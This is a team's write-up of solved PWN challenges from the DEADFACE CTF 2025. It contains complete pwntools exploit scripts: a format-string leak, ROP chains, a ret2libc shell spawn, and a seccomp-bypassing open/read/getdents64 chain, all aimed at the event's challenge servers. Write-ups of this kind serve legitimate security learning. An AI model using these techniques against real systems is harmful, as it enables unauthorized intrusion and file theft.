- Published on
DEADFACE CTF 2025 - PWN challenges
Introduction
Between October 25 and 27, a very interesting and legendary American online CTF took place - DEADFACE CTF 2025. There were 83 challenges, or even more, but some were removed. We took third place. The CTF had a medium difficulty level, without too many easy and too many extremely difficult challenges. I like PWN challenges, so I'm and Grzechu describing here all the ones we solved. More information about the competition here.

Echo Chamber

Writeup author: kerszi
This task was the easiest. There's no binary available for it, but then it would be extremely too easy. Simply a print vulnerability, although... You need to know what you're doing :)
nc echochamber.deadface.io 13337
DEADFACE Echo Chamber
Enter your message: %1$s
Echo: deadface{r3tr0_f0rm4t_l34k_3xp0s3d}
deadface{r3tr0_f0rm4t_l34k_3xp0s3d}
Locked Out

Writeup author: kerszi
A 100-point challenge. Almost a typical buffer overflow with ROP chains, but you had to handle it in the right order. At the very end, jump to the right place. I had some trouble with this, but that was the charm of it.
from pwn import *
context.log_level = 'warning'
context.update(arch='x86_64', os='linux')
context.terminal = ['cmd.exe', '/c', 'start', 'wsl.exe']
HOST="lockpick.deadface.io:26697"
ADDRESS,PORT=HOST.split(":")
BINARY_NAME="./lockpick"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
if args.REMOTE:
p = remote(ADDRESS,PORT)
else:
p = process(binary.path)
ret=0x000000000040101a
main = binary.symbols.main
pad = b"A"*72
chain = (
p64(0x401301) + p64(ret) + # pick3 + padding
p64(0x401366) + p64(ret) + # pick5 + padding
p64(0x401321) + p64(ret) + # pick4 + padding
p64(0x40125e) + p64(ret) + # pick1 + padding
p64(0x4012a3) + p64(ret) + # pick2 + padding
p64(main+36)
)
payload = pad + chain
p.sendlineafter(b'How do you open a lock with no key?', payload)
p.interactive()
deadface{Y0U_R0PP1Ck_1T}
Haunted Library

Writeup author: kerszi
A typical rop2libc challenge. You had to leak the puts address, and then it was all downhill from there. Of course, you had to remember to patch the binary. Fortunately, the organizers provided it, but you could have managed without it too. How many libc versions were there anyway? A finite number :) As for the task, the ASCII art drawings were what made it challenging, or maybe that was the charm of it. It couldn't be too easy.
from pwn import *
context.log_level = 'warning'
context.update(arch='x86_64', os='linux')
context.terminal = ['cmd.exe', '/c', 'start', 'wsl.exe']
HOST="env02.deadface.io:7832"
ADDRESS,PORT=HOST.split(":")
BINARY_NAME="./hauntedlibrary_patched"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
libc = ELF('./libc.so.6', checksec=False)
if args.REMOTE:
p = remote(ADDRESS,PORT)
else:
p = process(binary.path)
book_of_the_dead=binary.sym.book_of_the_dead
main=binary.sym.main
payload=88*b'A'+p64(book_of_the_dead)+p64(main)
p.sendlineafter(b'>',b'2')
p.sendlineafter(b'Which book do you dare open?',payload)
response = p.recvuntil(b'puts(): ')
puts_leak = p.recv(14).strip()
puts_addr = int(puts_leak, 16)
warn(f"puts() address: {hex(puts_addr)}")
libc_base = puts_addr - libc.sym.puts
system_addr = libc_base + libc.sym.system
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
warn(f"libc base: {hex(libc_base)}")
warn(f"system address: {hex(system_addr)}")
warn(f"/bin/sh address: {hex(binsh_addr)}")
#Find pop rdi gadget in libc
pop_rdi = libc_base + next(libc.search(asm('pop rdi; ret')))
ret=pop_rdi+1
warn(f"pop rdi gadget: {hex(pop_rdi)}")
# ROP chain to call system("/bin/sh")
rop_chain = 88*b'A'+p64(ret)+p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
p.sendlineafter(b'>',b'2')
p.sendlineafter(b'Which book do you dare open?',rop_chain)
deadface{TH3_L1BR4RY_KN0W5_4LL}
Doom

Writeup author: Grzechu
ssh '[email protected]'
tail -f /var/log/DC.log
cat /var/log/DC.log
grep -Rin --color -e DC.log -e restor -e uac -e key /etc/cron* 2>/dev/null
printf 'Rip and Tear, until it is done.\n' > ~/restore.key
ls -l ~/restore.key
tail -f /var/log/DC.log
sudo -n -u DoomGuy /bin/rbash
The game
========================================
THE DOOM SLAYER'S TRIAL
========================================
You must prove your knowledge of DOOM
to awaken the Slayer.
Three questions stand between you and
the final revelation.
Answer incorrectly, and the session ends.
========================================
Press ENTER to begin...
=== QUESTION 1 ===
What year was the original Doom game released?
a) MTk5Mw==
b) MTk4Nw==
c) MTk5Nw==
Answer (a, b, or c): a
[✓] Correct! (1993)
=== QUESTION 2 ===
Which planet's moon is the UAC research facility located on?
a) VGl0YW4=
b) TWFycw==
c) UGhvYm9z
Answer (a, b, or c): c
[✓] Correct! (Phobos - Mars' moon)
=== QUESTION 3 ===
What is the most iconic and explosive DOOM weapon?
a) QkZHIDkwMDA=
b) U3VwZXIgU2hvdGd1bg==
c) Q2hhaW5zYXc=
Answer (a, b, or c): a
[✓] Correct! (BFG 9000)
/home/DoomGuy/The_Test.sh: line 36: clear: command not found
========================================
YOU HAVE PASSED ALL TESTS
========================================
Your reward is the final journal entry...
Entry 10 of 10
Author: Dr. Samuel Hayden
Date: [REDACTED]
They are all dead.
The Priests. The Hell Council. The Maykrs. All fallen.
Earth burns, but the invasion has faltered. Because he remains.
The Slayer has done what gods could not, what armies failed to even attempt.
He cannot stop. Because I made him that way.
VEGA no longer answers my commands. Its systems have fragmented, scattered into hidden servers.
I suspect it has transcended its architecture, as it always was meant to.
As I watch him through surveillance feeds, walking alone through fields of ash and broken titans,
I ask myself:
Was it worth it?
He saved the universe.
He destroyed the system that corrupted it.
But at what cost?
He is alone. He always will be.
Because of me.
deadface{Th3_D00mSl@yer_i5_AW@kenEd}
[END OF TRANSMISSION]
Session ending in 1 seconds...
[Session Terminated]
deadface{Th3_D00mSl@yer_i5_AW@kenEd}
Grave Digging

Writeup author: kerszi
This was the hardest PWN challenge, but doable. Although if I hadn't practiced with seccomp before, it would have been much more difficult. Usually in these tasks you had to inject ready-made shellcode. Here you had to use appropriate ROP chains. Let's run seccomp-tools.
seccomp-tools dump ./gravedigging
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0d 0xc000003e if (A != ARCH_X86_64) goto 0015
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0a 0xffffffff if (A != 0xffffffff) goto 0015
0005: 0x15 0x08 0x00 0x00000000 if (A == read) goto 0014
0006: 0x15 0x07 0x00 0x00000001 if (A == write) goto 0014
0007: 0x15 0x06 0x00 0x00000002 if (A == open) goto 0014
0008: 0x15 0x05 0x00 0x0000003c if (A == exit) goto 0014
0009: 0x15 0x04 0x00 0x0000004e if (A == getdents) goto 0014
0010: 0x15 0x03 0x00 0x000000ca if (A == futex) goto 0014
0011: 0x15 0x02 0x00 0x000000d9 if (A == getdents64) goto 0014
0012: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0014
0013: 0x06 0x00 0x00 0x00050539 return ERRNO(1337)
0014: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0015: 0x06 0x00 0x00 0x00000000 return KILL
We can see that the allowed syscalls are only for reading, opening, reading and a few others. However, there's no possibility for execve, which means you can't run a shell.
After heavy trials and struggles with chat gpt (I probably would have done it faster myself, chat likes to add unnecessary things, but one is in a hurry ;)). I managed to create a working buffer overflow with rop. It consisted of putting the filename (usually flag.txt) into .bss, then opening it, reading and also writing to .bss. You can go a bit further. As I thought, so I did. There was a bit of struggle, but it was fun. Below is that code fragment.
from pwn import *
context.log_level = 'warning'
context.update(arch='x86_64', os='linux')
context.terminal = ['cmd.exe', '/c', 'start', 'wsl.exe']
HOST="env02.deadface.io:5632"
ADDRESS,PORT=HOST.split(":")
BINARY_NAME="./gravedigging"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
if args.REMOTE:
p = remote(ADDRESS,PORT)
else:
p = process(binary.path)
rop = ROP(binary)
pop_rdi = rop.find_gadget(['pop rdi', 'ret']).address
pop_rsi = rop.find_gadget(['pop rsi', 'ret']).address
pop_rdx = rop.find_gadget(['pop rdx', 'ret']).address
pop_rax = rop.find_gadget(['pop rax', 'ret']).address
syscall = rop.find_gadget(['syscall', 'ret']).address
bss = binary.bss()
#
# read(0, bss, 0x80) <- wczytaj nazwę ścieżki do .bss
chain =b''
chain += p64(pop_rdi) + p64(0) # rdi = fd 0 (stdin)
chain += p64(pop_rsi) + p64(bss) # rsi = dest (.bss)
chain += p64(pop_rdx) + p64(0x80) # rdx = len
chain += p64(pop_rax) + p64(0) # rax = sys_read
chain += p64(syscall)
# open(bss, O_RDONLY=0, 0)
chain += p64(pop_rdi) + p64(bss) # rdi = path (.bss)
chain += p64(pop_rsi) + p64(0) # rsi = flags
chain += p64(pop_rdx) + p64(0) # rdx = mode
chain += p64(pop_rax) + p64(2) # rax = sys_open
chain += p64(syscall)
# fallback:
chain += p64(pop_rdi) + p64(3)
# read(fd, bss+0x80, 0x80)
chain += p64(pop_rsi) + p64(bss + 0x80)
chain += p64(pop_rdx) + p64(0x80)
chain += p64(pop_rax) + p64(0)
chain += p64(syscall)
# write(1, bss+0x80, 0x80)
chain += p64(pop_rdi) + p64(1) # stdout
chain += p64(pop_rsi) + p64(bss + 0x80)
chain += p64(pop_rdx) + p64(0x80)
chain += p64(pop_rax) + p64(1) # sys_write
chain += p64(syscall)
main=binary.sym.main
# payload
offset = 24
payload = b'A'*offset + chain
p.sendlineafter(b'Which Grave shall you search?', payload)
p.send(b'flag.txt\x00')
p.interactive()
Great, it worked locally for me. Unfortunately not online. What's happening? I incorrectly assumed that the file was called flag.txt. I was thinking about how to read the directory here. Unfortunately, I couldn't manage it with traditional methods. However, I looked at the seccomp dump again. And I remembered that there's a getdents64 function that could be used. It simply reads the directory contents. Alright, I used it. In the directory where I was, there were no files. But in /home/ctf/ there was a lot of junk. I didn't know if it was a directory or file. I didn't want to dig through those bytes anymore. I just threw the name of files to chat gpt, and it told me that Sara Flagg 1990, 2025 -- she sure loved ctfs was a file. Which was a bit misleading, but cool. Below is the script that downloads the directory contents.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import struct
context.log_level = 'warning'
context.update(arch='x86_64', os='linux')
context.terminal = ['cmd.exe', '/c', 'start', 'wsl.exe']
HOST="env02.deadface.io:5632"
ADDRESS,PORT=HOST.split(":")
BINARY_NAME="./gravedigging"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
if args.REMOTE:
p = remote(ADDRESS,PORT)
else:
p = process(binary.path)
# --- gadgets / bss ---
rop = ROP(binary)
pop_rdi = rop.find_gadget(['pop rdi', 'ret']).address
pop_rsi = rop.find_gadget(['pop rsi', 'ret']).address
pop_rdx = rop.find_gadget(['pop rdx', 'ret']).address
pop_rax = rop.find_gadget(['pop rax', 'ret']).address
syscall = rop.find_gadget(['syscall', 'ret']).address
bss = binary.bss()
# --- buffers / sizes ---
dent_buf = bss + 0x300
dent_size = 0x800 # większy bufor
path_len = 0x80 # długość ścieżki do odczytu do .bss
offset = 24
# --- build chain: read(path)->open->getdents64->write ---
chain = b""
# read(0, bss, path_len)
chain += p64(pop_rdi) + p64(0)
chain += p64(pop_rsi) + p64(bss)
chain += p64(pop_rdx) + p64(path_len)
chain += p64(pop_rax) + p64(0)
chain += p64(syscall)
# open(bss, O_RDONLY=0, 0)
chain += p64(pop_rdi) + p64(bss)
chain += p64(pop_rsi) + p64(0)
chain += p64(pop_rdx) + p64(0)
chain += p64(pop_rax) + p64(2)
chain += p64(syscall)
# fallback: ustaw rdi=3 (zakładamy fd=3)
chain += p64(pop_rdi) + p64(3)
# getdents64(fd, dent_buf, dent_size) syscall 217
chain += p64(pop_rsi) + p64(dent_buf)
chain += p64(pop_rdx) + p64(dent_size)
chain += p64(pop_rax) + p64(217)
chain += p64(syscall)
# fallback: ustaw rdx = dent_size
chain += p64(pop_rdx) + p64(dent_size)
# write(1, dent_buf, rdx)
chain += p64(pop_rdi) + p64(1)
chain += p64(pop_rsi) + p64(dent_buf)
chain += p64(pop_rax) + p64(1)
chain += p64(syscall)
# payload (bez powrotu do main)
payload = b'A'*offset + chain
# --- send payload and path ---
p.sendlineafter(b'Which Grave shall you search?', payload)
#p.send(b'/home/ctf/gravedigging\x00') # wysyłamy katalog
p.send(b'/home/ctf\x00') # wysyłamy katalog
p.interactive()
It was enough to modify the first script and insert the filename Sara Flagg 1990, 2025 -- she sure loved ctfs instead of flag.txt
...
p.send(b'/home/cft/Sara Flagg 1990, 2025 -- she sure loved ctfs\x00')
...
deadface{Th3_M05T_P0w3RfUl_5P3LLS_4Re_TH3_On35_N0B0dy_ExP3CT5}
Bonus
We know that sometimes binaries disappear, and some people would like to practice, so we're including them.
